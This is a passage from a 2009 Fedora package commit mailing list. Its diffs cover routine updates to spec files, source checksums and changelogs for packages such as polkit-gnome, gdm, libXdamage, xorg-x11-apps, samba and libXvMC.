@@ -60,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/xdamage.pc
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.2-1
+- libXdamage 1.1.2
+
 * Thu Aug 13 2009 Parag <paragn at fedoraproject.org> 1.1.1-9
 - Merge-review cleanups #226067
 



From mclasen at fedoraproject.org  Wed Oct  7 18:16:11 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed,  7 Oct 2009 18:16:11 +0000 (UTC)
Subject: rpms/polkit-gnome/F-12 whitespace-leak.patch, NONE,
	1.1 polkit-gnome.spec, 1.16, 1.17
Message-ID: <20091007181611.A69FD11C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/polkit-gnome/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17361

Modified Files:
	polkit-gnome.spec 
Added Files:
	whitespace-leak.patch 
Log Message:
fix a whitespace leak


whitespace-leak.patch:
 main.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE whitespace-leak.patch ---
>From f79b5a04a705706cce301b92556a4f7e8ad932c8 Mon Sep 17 00:00:00 2001
From: Chris Coulson <chrisccoulson at googlemail.com>
Date: Sun, 4 Oct 2009 20:50:25 +0100
Subject: [PATCH] Set status icon invisible before unref'ing it

Set the status icon invisible before unref'ing it. This avoids
leaving whitespace in the notification area, which grows in size
each time the icon is displayed/hidden
---
 src/main.c |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

diff --git a/src/main.c b/src/main.c
index 5970670..a8970df 100644
--- a/src/main.c
+++ b/src/main.c
@@ -141,6 +141,7 @@ update_temporary_authorization_icon_real (void)
       /* hide icon */
       if (status_icon != NULL)
         {
+          gtk_status_icon_set_visible (status_icon, FALSE);
           g_object_unref (status_icon);
           status_icon = NULL;
         }
-- 
1.6.3.3



Index: polkit-gnome.spec
===================================================================
RCS file: /cvs/pkgs/rpms/polkit-gnome/F-12/polkit-gnome.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- polkit-gnome.spec	14 Sep 2009 20:11:21 -0000	1.16
+++ polkit-gnome.spec	7 Oct 2009 18:16:11 -0000	1.17
@@ -1,11 +1,15 @@
 Summary: PolicyKit integration for the GNOME desktop
 Name: polkit-gnome
 Version: 0.95
-Release: 0.git20090913.5%{?dist}
+Release: 0.git20090913.6%{?dist}
 License: LGPLv2+
 URL: http://www.freedesktop.org/wiki/Software/PolicyKit
 Group: Applications/System
 Source0: http://hal.freedesktop.org/releases/%{name}-%{version}.git20090913.tar.bz2
+
+# https://bugzilla.gnome.org/show_bug.cgi?id=597346
+Patch0: whitespace-leak.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: gtk2-devel
 BuildRequires: polkit-devel >= 0.95
@@ -54,6 +58,7 @@ Development documentation for polkit-gno
 
 %prep
 %setup -q
+%patch0 -p1 -b .whitespace-leak
 
 %build
 %configure --enable-gtk-doc
@@ -97,6 +102,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> - 0.95.0.git20090913.6
+- Prevent the statusicon from eating whitespace
+
 * Mon Sep 14 2009 David Zeuthen <davidz at redhat.com> - 0.95-0.git20090913.5
 - add Provides: PolicyKit-authentication-agent to satify what PolicyKit-gnome
   also provided



From ajax at fedoraproject.org  Wed Oct  7 18:16:25 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 18:16:25 +0000 (UTC)
Subject: rpms/libXdamage/devel .cvsignore,1.9,1.10 sources,1.11,1.12
Message-ID: <20091007181625.18FB311C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXdamage/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17499

Modified Files:
	.cvsignore sources 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.2-1
- libXdamage 1.1.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXdamage/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	26 Mar 2007 18:53:44 -0000	1.9
+++ .cvsignore	7 Oct 2009 18:16:24 -0000	1.10
@@ -1 +1 @@
-libXdamage-1.1.1.tar.bz2
+libXdamage-1.1.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXdamage/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	26 Mar 2007 18:53:44 -0000	1.11
+++ sources	7 Oct 2009 18:16:25 -0000	1.12
@@ -1 +1 @@
-ac0ce6b0063a9858c8f24ddb4c60487d  libXdamage-1.1.1.tar.bz2
+b42780bce703ec202a33e5693991c09d  libXdamage-1.1.2.tar.bz2



From ajax at fedoraproject.org  Wed Oct  7 18:17:04 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 18:17:04 +0000 (UTC)
Subject: rpms/libXdamage/F-12 sources,1.11,1.12
Message-ID: <20091007181704.D3A0C11C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXdamage/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17690

Modified Files:
	sources 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.2-1
- libXdamage 1.1.2



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXdamage/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	26 Mar 2007 18:53:44 -0000	1.11
+++ sources	7 Oct 2009 18:17:04 -0000	1.12
@@ -1 +1 @@
-ac0ce6b0063a9858c8f24ddb4c60487d  libXdamage-1.1.1.tar.bz2
+b42780bce703ec202a33e5693991c09d  libXdamage-1.1.2.tar.bz2



From ajax at fedoraproject.org  Wed Oct  7 18:19:46 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 18:19:46 +0000 (UTC)
Subject: rpms/xorg-x11-apps/devel .cvsignore, 1.18, 1.19 sources, 1.18,
	1.19 xorg-x11-apps.spec, 1.42, 1.43
Message-ID: <20091007181946.1FEE311C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-apps/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18321

Modified Files:
	.cvsignore sources xorg-x11-apps.spec 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 7.4-7
- xeyes 1.0.991



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	6 Oct 2009 17:13:08 -0000	1.18
+++ .cvsignore	7 Oct 2009 18:19:45 -0000	1.19
@@ -20,3 +20,4 @@ xfd-1.0.1.tar.bz2
 xfontsel-1.0.2.tar.bz2
 xvidtune-1.0.1.tar.bz2
 luit-1.0.4.tar.bz2
+xeyes-1.0.991.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	6 Oct 2009 17:13:09 -0000	1.18
+++ sources	7 Oct 2009 18:19:45 -0000	1.19
@@ -19,3 +19,4 @@ c72abd90f50ef459bc14b39ec9fcc7f8  xfd-1.
 288fe4cf8a990e4e602aac16dd9109fb  xfontsel-1.0.2.tar.bz2
 e0744594f4e5969b20df28d897781318  xvidtune-1.0.1.tar.bz2
 4e45233e310d72dce307709761cf241b  luit-1.0.4.tar.bz2
+ba1b886bd6104018fe78ab431d83ce4d  xeyes-1.0.991.tar.bz2


Index: xorg-x11-apps.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/xorg-x11-apps.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- xorg-x11-apps.spec	6 Oct 2009 17:13:09 -0000	1.42
+++ xorg-x11-apps.spec	7 Oct 2009 18:19:45 -0000	1.43
@@ -5,7 +5,7 @@ Name: xorg-x11-%{pkgname}
 # NOTE: The package version should be set to the X11 major release from which
 # the OS release is based upon.
 Version: 7.4
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -25,7 +25,7 @@ Source7:  ftp://ftp.x.org/pub/individual
 Source8:  ftp://ftp.x.org/pub/individual/app/xclipboard-1.0.1.tar.bz2
 Source9:  ftp://ftp.x.org/pub/individual/app/xconsole-1.0.3.tar.bz2
 Source10: ftp://ftp.x.org/pub/individual/app/xcursorgen-1.0.2.tar.bz2
-Source11: ftp://ftp.x.org/pub/individual/app/xeyes-1.0.1.tar.bz2
+Source11: ftp://ftp.x.org/pub/individual/app/xeyes-1.0.991.tar.bz2
 Source12: ftp://ftp.x.org/pub/individual/app/xkill-1.0.1.tar.bz2
 Source13: ftp://ftp.x.org/pub/individual/app/xload-1.0.2.tar.bz2
 Source14: ftp://ftp.x.org/pub/individual/app/xlogo-1.0.1.tar.bz2
@@ -188,6 +188,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xwud.1*
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 7.4-7
+- xeyes 1.0.991
+
 * Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-6
 - luit 1.0.4
 



From rstrode at fedoraproject.org  Wed Oct  7 18:24:05 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Wed,  7 Oct 2009 18:24:05 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-password.pam,1.1,1.2 gdm.spec,1.492,1.493
Message-ID: <20091007182405.6BF3611C00E6@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19642

Modified Files:
	gdm-password.pam gdm.spec 
Log Message:
- Fix gdm-password / xguest interaction (bug 524421)



Index: gdm-password.pam
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-password.pam,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gdm-password.pam	13 Apr 2009 21:29:14 -0000	1.1
+++ gdm-password.pam	7 Oct 2009 18:24:05 -0000	1.2
@@ -1,3 +1,4 @@
+auth     [success=done ignore=ignore default=bad] pam_selinux_permit.so
 auth        substack      password-auth
 auth        required      pam_succeed_if.so user != root quiet
 auth        optional      pam_gnome_keyring.so


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.492
retrieving revision 1.493
diff -u -p -r1.492 -r1.493
--- gdm.spec	6 Oct 2009 03:42:35 -0000	1.492
+++ gdm.spec	7 Oct 2009 18:24:05 -0000	1.493
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.0
-Release: 6%{?dist}
+Release: 7%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -404,6 +404,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Wed Oct 07 2009 Ray Strode <rstrode at redhat.com> - 1:2.28.0-7
+- Fix gdm-password / xguest interaction (bug 524421)
+
 * Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.4-6
 - Fix the autostart file for at-spi-registryd
 



From rstrode at fedoraproject.org  Wed Oct  7 18:25:58 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Wed,  7 Oct 2009 18:25:58 +0000 (UTC)
Subject: rpms/gdm/devel gdm-password.pam,1.1,1.2 gdm.spec,1.490,1.491
Message-ID: <20091007182558.BEC7911C00E6@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19971

Modified Files:
	gdm-password.pam gdm.spec 
Log Message:
- Fix xguest



Index: gdm-password.pam
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/devel/gdm-password.pam,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gdm-password.pam	13 Apr 2009 21:29:14 -0000	1.1
+++ gdm-password.pam	7 Oct 2009 18:25:58 -0000	1.2
@@ -1,3 +1,4 @@
+auth     [success=done ignore=ignore default=bad] pam_selinux_permit.so
 auth        substack      password-auth
 auth        required      pam_succeed_if.so user != root quiet
 auth        optional      pam_gnome_keyring.so


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/devel/gdm.spec,v
retrieving revision 1.490
retrieving revision 1.491
diff -u -p -r1.490 -r1.491
--- gdm.spec	28 Sep 2009 15:15:16 -0000	1.490
+++ gdm.spec	7 Oct 2009 18:25:58 -0000	1.491
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.0
-Release: 4%{?dist}
+Release: 5%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -400,6 +400,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Wed Oct 07 2009 Ray Strode <rstrode at redhat.com> - 1:2.28.0-5
+- Fix xguest
+
 * Mon Sep 28 2009 Ray Strode <rstrode at redhat.com> - 1:2.28.0-4
 - Add cache dir to package manifest
 



From dwalsh at fedoraproject.org  Wed Oct  7 18:40:26 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Wed,  7 Oct 2009 18:40:26 +0000 (UTC)
Subject: rpms/setroubleshoot/devel .cvsignore, 1.130,
	1.131 setroubleshoot.spec, 1.170, 1.171 sources, 1.143, 1.144
Message-ID: <20091007184026.CBC7811C02A3@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23159

Modified Files:
	.cvsignore setroubleshoot.spec sources 
Log Message:
* Wed Oct 7 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.37-1
- Don't throw up an error box if yum cache is not setup



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/.cvsignore,v
retrieving revision 1.130
retrieving revision 1.131
diff -u -p -r1.130 -r1.131
--- .cvsignore	5 Oct 2009 15:32:52 -0000	1.130
+++ .cvsignore	7 Oct 2009 18:40:26 -0000	1.131
@@ -48,3 +48,4 @@ setroubleshoot-2.2.33.tar.gz
 setroubleshoot-2.2.34.tar.gz
 setroubleshoot-2.2.35.tar.gz
 setroubleshoot-2.2.36.tar.gz
+setroubleshoot-2.2.37.tar.gz


Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/setroubleshoot.spec,v
retrieving revision 1.170
retrieving revision 1.171
diff -u -p -r1.170 -r1.171
--- setroubleshoot.spec	5 Oct 2009 15:32:52 -0000	1.170
+++ setroubleshoot.spec	7 Oct 2009 18:40:26 -0000	1.171
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.36
+Version: 2.2.37
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,9 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Wed Oct 7 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.37-1
+- Don't throw up an error box if yum cache is not setup
+
 * Mon Oct 5 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.36-1
 - Fix Fix It button
 - Remove Setroubleshoot: from every heading


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/sources,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- sources	5 Oct 2009 15:32:52 -0000	1.143
+++ sources	7 Oct 2009 18:40:26 -0000	1.144
@@ -1 +1 @@
-2fb06dae32978bb3591f01ebb8c3d785  setroubleshoot-2.2.36.tar.gz
+b439814afe8ed4ff775cfea0b897834a  setroubleshoot-2.2.37.tar.gz



From silas at fedoraproject.org  Wed Oct  7 18:43:21 2009
From: silas at fedoraproject.org (Silas Sewell)
Date: Wed,  7 Oct 2009 18:43:21 +0000 (UTC)
Subject: rpms/tokyotyrant/devel .cvsignore, 1.3, 1.4 import.log, 1.2,
	1.3 sources, 1.3, 1.4 tokyotyrant.spec, 1.2, 1.3
Message-ID: <20091007184321.B27A111C00E6@cvs1.fedora.phx.redhat.com>

Author: silas

Update of /cvs/pkgs/rpms/tokyotyrant/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24084/devel

Modified Files:
	.cvsignore import.log sources tokyotyrant.spec 
Log Message:
* Wed Oct 07 2009 Silas Sewell <silas at sewell.ch> - 1.1.35-1
- Update to 1.1.35



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tokyotyrant/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	7 Sep 2009 22:37:15 -0000	1.3
+++ .cvsignore	7 Oct 2009 18:43:21 -0000	1.4
@@ -1 +1 @@
-tokyotyrant-1.1.34.tar.gz
+tokyotyrant-1.1.35.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/tokyotyrant/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	7 Sep 2009 22:37:15 -0000	1.2
+++ import.log	7 Oct 2009 18:43:21 -0000	1.3
@@ -1,2 +1,3 @@
 tokyotyrant-1_1_33-5_fc12:HEAD:tokyotyrant-1.1.33-5.fc12.src.rpm:1251175673
 tokyotyrant-1_1_34-1_fc12:HEAD:tokyotyrant-1.1.34-1.fc12.src.rpm:1252362410
+tokyotyrant-1_1_35-1_fc12:HEAD:tokyotyrant-1.1.35-1.fc12.src.rpm:1254940268


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tokyotyrant/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	7 Sep 2009 22:37:15 -0000	1.3
+++ sources	7 Oct 2009 18:43:21 -0000	1.4
@@ -1 +1 @@
-7b2e956419d5faf29eee55d59896e9d6  tokyotyrant-1.1.34.tar.gz
+6d8953558c2b50f4680b58233abdb41e  tokyotyrant-1.1.35.tar.gz


Index: tokyotyrant.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tokyotyrant/devel/tokyotyrant.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- tokyotyrant.spec	7 Sep 2009 22:37:15 -0000	1.2
+++ tokyotyrant.spec	7 Oct 2009 18:43:21 -0000	1.3
@@ -1,5 +1,5 @@
 Name:             tokyotyrant
-Version:          1.1.34
+Version:          1.1.35
 Release:          1%{?dist}
 Summary:          A network interface to Tokyo Cabinet
 
@@ -134,6 +134,9 @@ fi
 %{_mandir}/man3/t*.gz
 
 %changelog
+* Wed Oct 07 2009 Silas Sewell <silas at sewell.ch> - 1.1.35-1
+- Update to 1.1.35
+
 * Mon Sep 07 2009 Silas Sewell <silas at sewell.ch> - 1.1.34-1
 - Update to 1.1.34
 



From kasal at fedoraproject.org  Wed Oct  7 19:07:07 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 19:07:07 +0000 (UTC)
Subject: rpms/atk/devel atk.spec,1.66,1.67
Message-ID: <20091007190707.DBDD911C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/atk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31979

Modified Files:
	atk.spec 
Log Message:
- drop gtk-doc requirement from atk-devel


Index: atk.spec
===================================================================
RCS file: /cvs/extras/rpms/atk/devel/atk.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- atk.spec	23 Sep 2009 23:56:24 -0000	1.66
+++ atk.spec	7 Oct 2009 19:07:07 -0000	1.67
@@ -27,7 +27,6 @@ Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: glib2-devel >= %{glib2_version}
 Requires: pkgconfig
-Requires: gtk-doc
 
 %description devel
 This package includes libraries, header files, and developer documentation 
@@ -70,6 +69,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/atk
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.28.0-2
+- drop gtk-doc requirement from atk-devel
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> - 1.28.0-1
 - Update to 2.28.0
 



From ajax at fedoraproject.org  Wed Oct  7 19:10:22 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 19:10:22 +0000 (UTC)
Subject: rpms/xorg-x11-apps/F-12 sources, 1.18, 1.19 xorg-x11-apps.spec, 1.42,
	1.43
Message-ID: <20091007191022.46E0B11C02A3@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-apps/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1345

Modified Files:
	sources xorg-x11-apps.spec 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 7.4-7
- xeyes 1.0.991



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/F-12/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	6 Oct 2009 17:14:10 -0000	1.18
+++ sources	7 Oct 2009 19:10:21 -0000	1.19
@@ -19,3 +19,4 @@ c72abd90f50ef459bc14b39ec9fcc7f8  xfd-1.
 288fe4cf8a990e4e602aac16dd9109fb  xfontsel-1.0.2.tar.bz2
 e0744594f4e5969b20df28d897781318  xvidtune-1.0.1.tar.bz2
 4e45233e310d72dce307709761cf241b  luit-1.0.4.tar.bz2
+ba1b886bd6104018fe78ab431d83ce4d  xeyes-1.0.991.tar.bz2


Index: xorg-x11-apps.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/F-12/xorg-x11-apps.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- xorg-x11-apps.spec	6 Oct 2009 17:14:10 -0000	1.42
+++ xorg-x11-apps.spec	7 Oct 2009 19:10:22 -0000	1.43
@@ -5,7 +5,7 @@ Name: xorg-x11-%{pkgname}
 # NOTE: The package version should be set to the X11 major release from which
 # the OS release is based upon.
 Version: 7.4
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -25,7 +25,7 @@ Source7:  ftp://ftp.x.org/pub/individual
 Source8:  ftp://ftp.x.org/pub/individual/app/xclipboard-1.0.1.tar.bz2
 Source9:  ftp://ftp.x.org/pub/individual/app/xconsole-1.0.3.tar.bz2
 Source10: ftp://ftp.x.org/pub/individual/app/xcursorgen-1.0.2.tar.bz2
-Source11: ftp://ftp.x.org/pub/individual/app/xeyes-1.0.1.tar.bz2
+Source11: ftp://ftp.x.org/pub/individual/app/xeyes-1.0.991.tar.bz2
 Source12: ftp://ftp.x.org/pub/individual/app/xkill-1.0.1.tar.bz2
 Source13: ftp://ftp.x.org/pub/individual/app/xload-1.0.2.tar.bz2
 Source14: ftp://ftp.x.org/pub/individual/app/xlogo-1.0.1.tar.bz2
@@ -188,6 +188,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xwud.1*
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 7.4-7
+- xeyes 1.0.991
+
 * Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-6
 - luit 1.0.4
 



From gd at fedoraproject.org  Wed Oct  7 19:13:59 2009
From: gd at fedoraproject.org (Guenther Deschner)
Date: Wed,  7 Oct 2009 19:13:59 +0000 (UTC)
Subject: rpms/samba/F-11 samba.spec,1.191,1.192
Message-ID: <20091007191359.5DDC411C00E6@cvs1.fedora.phx.redhat.com>

Author: gd

Update of /cvs/pkgs/rpms/samba/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2233

Modified Files:
	samba.spec 
Log Message:
Fix required talloc version
resolves: #527806

Guenther



Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-11/samba.spec,v
retrieving revision 1.191
retrieving revision 1.192
diff -u -p -r1.191 -r1.192
--- samba.spec	1 Oct 2009 14:44:59 -0000	1.191
+++ samba.spec	7 Oct 2009 19:13:58 -0000	1.192
@@ -1,7 +1,7 @@
-%define main_release 42
+%define main_release 43
 %define samba_version 3.4.2
 %define tdb_version 1.1.3
-%define talloc_version 1.2.0
+%define talloc_version 1.3.0
 %define pre_release %nil
 
 %define samba_release 0%{pre_release}.%{main_release}%{?dist}
@@ -883,6 +883,10 @@ exit 0
 %{_datadir}/pixmaps/samba/logo-small.png
 
 %changelog
+* Wed Oct 07 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.2-0.43
+- Fix required talloc version
+- resolves: #527806
+
 * Thu Oct 01 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.2-0.42
 - Update to 3.4.2
 - Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906



From ajax at fedoraproject.org  Wed Oct  7 19:15:11 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 19:15:11 +0000 (UTC)
Subject: rpms/libXvMC/devel .cvsignore, 1.9, 1.10 libXvMC.spec, 1.26,
	1.27 sources, 1.9, 1.10
Message-ID: <20091007191511.DCC8911C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXvMC/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3536

Modified Files:
	.cvsignore libXvMC.spec sources 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.0.5-1
- libXvMC 1.0.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXvMC/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	6 Jan 2007 03:45:44 -0000	1.9
+++ .cvsignore	7 Oct 2009 19:15:11 -0000	1.10
@@ -1 +1 @@
-libXvMC-1.0.4.tar.bz2
+libXvMC-1.0.5.tar.bz2


Index: libXvMC.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXvMC/devel/libXvMC.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libXvMC.spec	25 Jul 2009 05:16:08 -0000	1.26
+++ libXvMC.spec	7 Oct 2009 19:15:11 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXvMC runtime library
 Name: libXvMC
-Version: 1.0.4
-Release: 8%{?dist}
+Version: 1.0.5
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,10 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: libX11-devel
-BuildRequires: libXext-devel
-BuildRequires: libXv-devel
+BuildRequires: pkgconfig(videoproto) pkgconfig(xv)
 
 %description
 X.Org X11 libXvMC runtime library
@@ -28,20 +25,16 @@ X.Org X11 libXvMC development package
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make
 
 %install
 rm -rf $RPM_BUILD_ROOT
 
 make install DESTDIR=$RPM_BUILD_ROOT
+# do this ourself in %%doc so we get %%version
+rm $RPM_BUILD_ROOT%{_docdir}/*/*.txt
 
 # Touch XvMCConfig for rpm to package the ghost file. (#192254)
 {
@@ -69,16 +62,16 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
+%doc XvMC_API.txt
 %{_includedir}/X11/extensions/XvMClib.h
-%if %{with_static}
-%{_libdir}/libXvMC.a
-%{_libdir}/libXvMCW.a
-%endif
 %{_libdir}/libXvMC.so
 %{_libdir}/libXvMCW.so
 %{_libdir}/pkgconfig/xvmc.pc
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.0.5-1
+- libXvMC 1.0.5
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.4-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXvMC/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	6 Jan 2007 03:45:44 -0000	1.9
+++ sources	7 Oct 2009 19:15:11 -0000	1.10
@@ -1 +1 @@
-b54600573daf9d1a29b952e8d35b389e  libXvMC-1.0.4.tar.bz2
+16c3a11add14979beb7510e44623cac6  libXvMC-1.0.5.tar.bz2



From jkratoch at fedoraproject.org  Wed Oct  7 19:17:20 2009
From: jkratoch at fedoraproject.org (Jan Kratochvil)
Date: Wed,  7 Oct 2009 19:17:20 +0000 (UTC)
